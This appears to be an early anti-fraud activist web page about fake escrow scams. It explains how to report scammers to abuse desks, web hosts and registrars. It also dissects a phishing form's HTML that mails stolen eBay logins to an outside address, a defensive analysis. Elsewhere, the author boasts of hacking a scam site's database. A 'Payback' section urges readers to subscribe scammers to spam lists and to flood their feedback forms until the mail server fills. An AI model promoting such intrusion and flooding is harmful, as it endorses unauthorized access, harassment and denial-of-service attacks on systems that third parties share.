Many of these fake escrow sites have a photo of their alleged boss named “Saul Weiss, General Manager”. That poor guy’s picture and name has appeared on so many escrow fraud sites in the last year, I bet his image is downloaded off the internet more than Britney Spears!

How do scammers with fake escrows and pull it off so easy?
Listen up dude, fraudulent escrow scams are just the final puzzle piece of a much bigger picture of five interlocking scams working together to steal money from victims, leaving patsies in their wake to take the blame. Many law enforcement people don't even know this. The combination of stolen identities, stolen credit cards, phony job scams, and phony auctions all support the fake escrow scam that nails thousands of people every year. We estimate each auction/escrow fraud nets at least a dozen victims, for over $100,000 combined. Certainly worth the 2 weeks it takes scammers so set each one up. We hacked into Federal-Escrow.com in August, 2003 and found 300 victims in their database! In order for the fraudulent escrow scam to allow the scammers to steal your money, the other 4 related puzzle piece scams which support the fake escrow scam must fit perfectly. Without them, the whole thing falls apart on the scammers like a house of cards. That's where we have a lot of fun, yanking out the cards underneath them, watching all their work come tumbling down on them. Then they have to regroup and start all over again. LOL!

The fake escrow sites are like Coke Machines sitting on the internet
These fake escrows are turnkey sites that are running on auto pilot. I can lead you to one, make you register, then send you Western Union wiring instructions, and my scam is complete. I can rip you off using a site I did not even create! Long after arrests were made on Perfect-Escrow.com, I was still being alerted by victims of that site worldwide, indicating that multiple scammers from the hacking community were using it.

verygoodppc.com ALERT: NEVER deal with an eBay seller who Changed ID in the last 30 days.
Sure lots of honest people change their ID. So what, wait them out. Our experience shows many escrow scammers had 0 feedback on eBay, or they recently changed IDs. Still other scammers use hijacked accounts of people with hundreds of positive feedback to operate their scam. If you are a person who only uses a seller's feedback as a gauge of their honesty, you will get ripped off big time. Look for eBay's recently changed icon over the ID.

Return-Path: <thomasvanvugt3@yahoo.com>
Received: from web60710.mail.yahoo.com ([216.109.117.233])...... and it keeps on going for several lines.

That IP address you see there is what the abuse team needs to see, so they can verify it really did come from their servers. Select all the lines of IP Headers in the box and do a CTRL-C to copy the header information into your windows clipboard. You're almost done!

2) Now go to his email, hit the Forward button, and paste the Internet Headers right above the scammer's message. Include a brief note to the abuse team that this scammer is sending victims to a known fraudulent escrow site. His poor English and grammar should be a giveaway.

• For Yahoo, mail it off to abuse@yahoo.com with the subject "Abuse: Nigerian Scam/Spammer". That seems to have the most success
• For AOL, mail it off to abuse@aol.com with the subject "Abuse: Nigerian Scam/Spammer"
• For eBAY: Scroll to the very bottom and click on "Report This Listing"
• For craigsList:  In the upper right of your browser click on the gray "Prohibited" button 10 times
• For all others, insert the ISP name, abuse@Whatever-Their-Mail-Service-Is.com, with the subject > "Abuse: Nigerian Scam/Spammer"

3) I also use SpamCop.net to submit him as spam. The reason is, Yahoo automatically shuts down any email account that receives a SpamCop.net complaint. Pretty stupid huh? But we can use that in our favor to get the scammer's email shut down in a few hours. Also, SpamCop.net does a great job of reverse engineering the internet headers for you to determine where the email really came from and automatically notifies the abuse team of the proper ISP. This effectively renders useless any tricks the scammers used to spoof/hide their own email service.

NOTE: If you don't send the internet IP headers, the abuse team will ignore your email, because they MUST verify the IP address of the sender as coming off their email server, and you would have wasted your time.

After the scammer's email account is shut down for abuse...
The scammer will email you the next day from another address, saying "Sorry, I had problems with my other Yahoo account." I'll bet you did buddy! LOL! When he tries to continue business with you, turn in his new email address to the abuse desk! This is an important step in the fight against online fraud, as many victims tell me they saved themselves at the last minute when the scammer started emailing them from another address, and the victim became suspicious and bailed on the deal. I'm no fool, no siree, I'm going to save $20,003! Shutting the scammer's email account saves several people.

How to shut down a fraudulent escrow site
If you find a site that is a fraud, the you must convince their web host to shut them down. Then send an email to their registrar, to disable the domain name so they cannot pop up on a new web host. Go to Register.com, do a WHOIS search on the domain name. Usually in the record, they lie about the administrative contact, using one person's name to be the patsy with another person's phone number. Call the number and ask if they are related to the escrow. If they say no, then you know it's a scam, and the escrow site used their name without their permission. Once you find the domain servers at the bottom of the listing, go to that web host company web site, and contact them via email. For example, here is a partial WHOIS lookup for a site that ripped off some victims, USACARTRADERS.COM.

Domain Name: USACARTRADERS.COM
   Registrar: NAMESBEYOND.COM DBA GOODLUCKDOMAIN.COM
   Name Server: NS01A.NAMESBEYOND.COM
   Name Server: NS01B.NAMESBEYOND.COM
   Updated Date: 30-jun-2006
   Creation Date: 26-jun-2006
   Expiration Date: 26-jun-2008

So if a site was hosted by Yahoo, try their Yahoo! Abuse Feedback Form Online or you can email abuse@yahoo.com with an evidence list of information that proves they are fake, false mailing addresses, phone numbers that go to someone's fax or no where at all, etc. Whatever web hosting company is displayed in Name Server Field of the WHOIS record, that is where you email your abuse alert to. The above example shows Yahoo as the web host. In the above sample WHOIS record for the escrow fraud, it shows MelbourneIT as the registrar. Email their registrar abuse@melbourneit.au because of the false info in the WHOIS database, and ICANN requires they investigate. Go to the web host's site, and the registrar's site and find out how to contact them. By shutting down an escrow scam, you have just ruined about a dozen or more scams in various stages of completion, and really put a damper in the scammer's week. Once their site is shut down, it can take them a few days before they sign up to a new web host and for it to propagate across all the domain servers on the internet and finally resolve to the new server location. This really puts a cramp in their style. Even if the web host is an idiot and ignores you, they eventually will close the site down when the stolen credit card used to pay for the web hosting does a chargeback.

Payback Baby! How some victims are fighting back and exacting revenge
Many victims are finding other ways to get revenge on the scammers, like signing the scammers email addresses on spam lists, phony diet and Viagra sites, and junk newsletters. Some scammers run several escrow sites at once, so you can harvest several email addresses off each escrow site and sign them up to some gambling and porn spam lists. Believe me once they end up on one spam list, it will hours before they appear on several other sleazy spam lists. Before you know it, they will be stuck sorting through their inbox past dozens of emails telling them how they can enlarge their penis. Something I'm sure they need anyway. Some people go to the escrow web site and on the feedback form, start filling it in with 100 KB text files, then keep hitting submit, then back button, then submit again, several times until it eats up their email server's capacity and fills up their inbox. Then they cannot receive messages from victims they are trying to email with before the big rip off. When potential victims get bounced emails, it spooks them and they don't go through with the deal! LOL! That way you have saved other people from being scammed.

The web hosts and the registrars who enable fake escrow sites are to blame also
When we compile our evidence lists and send it to the scammer's web hosts registrars, usually they respond pretty quickly to shut them down. One registrar said they got a batch of escrow domain name creations that emanated from the Palestinian territories of Israel. This registrar service will stop accepting orders for domain names which include escrow because "in three years we have never had a domain name registered with that word in it which was not paid with a stolen card number."

But some registrars, like Register.com, and some web hosting companies like Yahoo, Hurricane Electric, Interland and ValueWeb do little to shut down fraud sites they are hosting once we alert them. Part of the reason for success of these escrow scams is the "enablers" turn the other cheek. Many victims are enraged when I tell them that they did not have to get ripped off, because we alerted the web hosts weeks before. Victims are now upset that web hosts are putting profits before your well being. You'll here dumb excuses how it takes a court order for them to shut down the escrow site. What a joke, as soon as the stolen credit card does a chargeback on them, down comes that web site! Hey, what happened to that court order that you require? I guess they don't really need it. They can shut down sites for violating their user agreement which includes things like copyright violation and stealing from people. Some web hosts tell you it's not their job to police their customers content, which is true, that's we why we did it for them. When handed indisputable evidence, web hosts should disable the web sites, and registrars should disable the domain name from future usage. We alert them of fake addresses on web sites, stolen from hotels and restaurants, fake dates, lies about incorporation, fake phone numbers, pirated content, and more. So here you have companies that have been shown proof positive that they are either the registrant for, or the web host for a fraudulent escrow web site who has ripped off people and they ignore us, choosing greed over ethics. Yahoo will only shut down a site if they get a complaint from the company whose copyright content was stolen by the fake escrow site. If you were scammed by an escrow that was enabled to continue running after we alerted their host of fraud, ask your lawyer if the web host or the registrar can be sued for negligence for allowing their customer to continue running after being shown proof positive evidence. We know of many such "enabling" occurrences. I'll be happy to supply damaging evidence against any web host to victims who need it. Scam sites like AutoTradeCenter.net and their sister site iAutoEscrow.com went on raping victims for weeks while Yahoo ignored repeated warnings from us. So what finally brought the sites down? Probably nothing we did, my theory is the credit card used for the hosting account was stolen and did a charge back.

ICANN is the worst enabler of identity theft on the internet
ICANN is doing such a poor job of regulating registrars and the WHOIS database, that I'll even go out on a limb here and state that their lack of action may be helping to fund terrorism. In fact, we now call them "ICANT"! I have turned in hundreds of complaints of fake WHOIS information to ICANN's Whois Data Problem Report Form that have gone unanswered. ICANN is supposedly requiring all registrars to maintain truthful WHOIS information or they must disable the offending domain name. Any moron with a computer can register a new domain name with 100% fake WHOIS information using your stolen identity, your address, and your phone number. So victims and their lawyers who go digging to see who "owns" the escrow site that just ripped them off, will come after you, an unknowing victim of identity theft. I have documented evidence of this occurring in over 300 cases that I worked on. ICANN is dropping the ball on this one folks, time to write your congressman, not that it will help any. It seems that everyone puts up this facade about how concerned they are about internet crime, national security, ID theft, yada.... But pin them down to act, and all you get are excuses, if you even get an answer at all and you and I are the only ones doing anything about it.

Registrars MUST disable any domain name with false WHOIS record information
In 2003 ICANN starting clamping down on bogus information in the domain name WHOIS record, and some registrars are violating ICANN rules by not complying. They are supposed to disable any domain name that has false information in the WHOIS record. We have sent registrars evidence lists clearly showing fraudulent registrant information of the WHOIS database for the web site, yet some, like Register.com and 1stdomain.net don't appear to be reacting to our abuse alerts. We need tougher laws forcing the registrars and ISPs to respond when confronted with indisputable evidence, and make them liable when they allow fraudulent web sites to continue to run. It sure seems like they care more about making money from the scammers, since they earn nothing from the victims of the scammers. A few costly high profile class action suits will straighten that right up.

Classic example of an arrogant registrar gone mad
We found a fake escrow stupidly named commerce-hub.biz that we had shut down under other names. Their "Staff” photo showed 8 people they claim are their employees. This was fraud; not their employees, photo was stolen from America Texas Title. Scammers lure victims with content stolen from other sites to appear established. That violates web host agreements. We also alerted their registrar, 1stdomain.net, in Kihei, Hawaii because the fake escrow site had stolen identity information in their WHOIS record. 1stdomain.net is required to investigate and disable the domain name. The scammers used the name of C. Richard Reese, CEO of the $1 Billion dollar IronMountain, Inc., and DSI Technologies. Iron Mountain is aware of the stolen identity problem, and told us Mr. Reese is not in anyway involved with the fake escrow. Famous CEO's don't use their name on WHOIS records, CEOs don't get involved in mundane tasks like reserving domain names. Besides, IronMountain would have put the company name in the WHOIS, not Reese's name. The fake phone number listed in the WHOIS rang at a phone in Indiana that never picks up. I tried a few times to convince 1stdomain.net this was all fake WHOIS, and they might expect legal action from scam victims and Mr. Reese. I then get an angry email from Dietmar Rittner, VP of 1stdomain.net, telling me: "We are asking you at this time from refraining to continue to harass our technical support threatening legal action where there is no grounds... If you continue to threaten our employees, we reserve the right to take legal action to stop this." Ok, fine. We'll leave you alone to fend off all the angry victims that come after you. Oh, but do enjoy the credit card chargeback's you'll get from future sites that the scammers reserve through 1stdomain.net. Get enough charge backs and you'll lose your merchant status with the credit card companies. So all you victims out there now know why many fraud sites are allowed to run unchecked. Their arrogant web hosts and registrars arrogantly and defiantly block your attempts to protect yourselves. You are a threat to their cash cow.

One man was not so lucky
Here's a good fraud case. Read this article on MSNBC called A $55,000 Net scam warning, about Bruce Lachot, who thought he was getting a bargain price for a used BMW at $55,000, but fell victim to this fake escrow scam. I saw him on Oprah telling his story. Like most victims, he was skeptical at first, but fell victim to Jedi mind tricks. Learn from his mistakes.

How to shut down a scammer's fake eBay hijacking "phishing email"!
By now, when you get the familiar bogus email telling you to login into eBay now or they will suspend your account, you know it's a scam. The email either asks you to login through a form right there in the email, or they ask you to click on a link to "take you to eBay". Of course the link really takes you to their fake eBay login page on the scammer's server, not on eBay. The key to remember here folks, is they ultimately want you to enter your login info through a form! This is simple to defeat once you know how HTML code works! Behind every form is a Form Action Statement. You must get that form action statement, and determine:

1) Where is the scammer's form being served from, that asks you to enter your eBay login info?

2) Once you supply the login info, how are the scammers emailing it back to themselves???

This is very easy to determine! What you need to do is very simple:

1) In Microsoft Outlook you need to do a "View Source" on the fake eBay form to get at this info. For example, if the form is in the phishing email sent to you, and you are using Outlook, go to the body of the email, right click, and choose "View Source". If you are on a web page instead, then in the browser window, select View > Source. Once the text file pops up showing you the HTML source code behind the scammer's form, you are good to go!

2) Now search this text file for the "Form Action" statement. You are looking for any address other than eBay, or an IP address after the "@" sign. Here is an example of one I worked on recently:

<FORM action="http://www.win.net/cgi-bin/mailform.cgi" method="post">
<input type="hidden" name="mailformBcc" value="bolnavul@runbox.com">

You can see by the above code that it is really quite easy to identify what is going on.
The scammer was using the mail form on servers belonging to Win.net, to steal the eBay login account info from unsuspecting victims. This is a standard mailform.cgi program that takes info you submit to it via form post, and emails it to the email address that scammers specify in the "VALUE=" parameter, in this case, bolnavul@runbox.com, located in Norway.

Sometimes, they hide an IP address in the middle of some insanely long email address like this one that I received:

http://scgi.ebay.com.saw-.....reenterinformationconfirmationeBayISAPI.dll@210.98.239.11/icons.....................

See the 210.98.239.11 in the middle of the link there? That's in Korea! Gee, I thought eBay was located in California! So how do we put a stop to this phishing email now that we know what is going on? Simple dudes!

You send an email to the abuse desk of both of these ISP companies. If you can call them and alert them too, that is even quicker. Usually we tell people to email abuse@Whoever_The_ISP_Is.net, and inform them that a scammer is using their service to steal ebay logins, and we show the ISP the HTML code. The ISP finds the scammer's account, and stops the CGI email script. We win! Then we email the abuse desk at the receiving end of their form email, and alert them, so now the scammer cannot even log in to get the info he has stolen! LOL! Wasted all that time for nothing! Sucker! By doing this, you are saving virtually hundreds of eBay victims from losing their eBAy accounts, while crashing down the scammer's house of cards, by putting an end to scam #1 of their Big 5 Scams. You are also saving dozens of future eBay victims from escrow fraud. It's all our responsibility to act on these emails when we get them, and put a stop to this crap. Don't just delete it, REPORT it! It only takes a couple of minutes to do it, and once you've done it a few times, it goes real quick.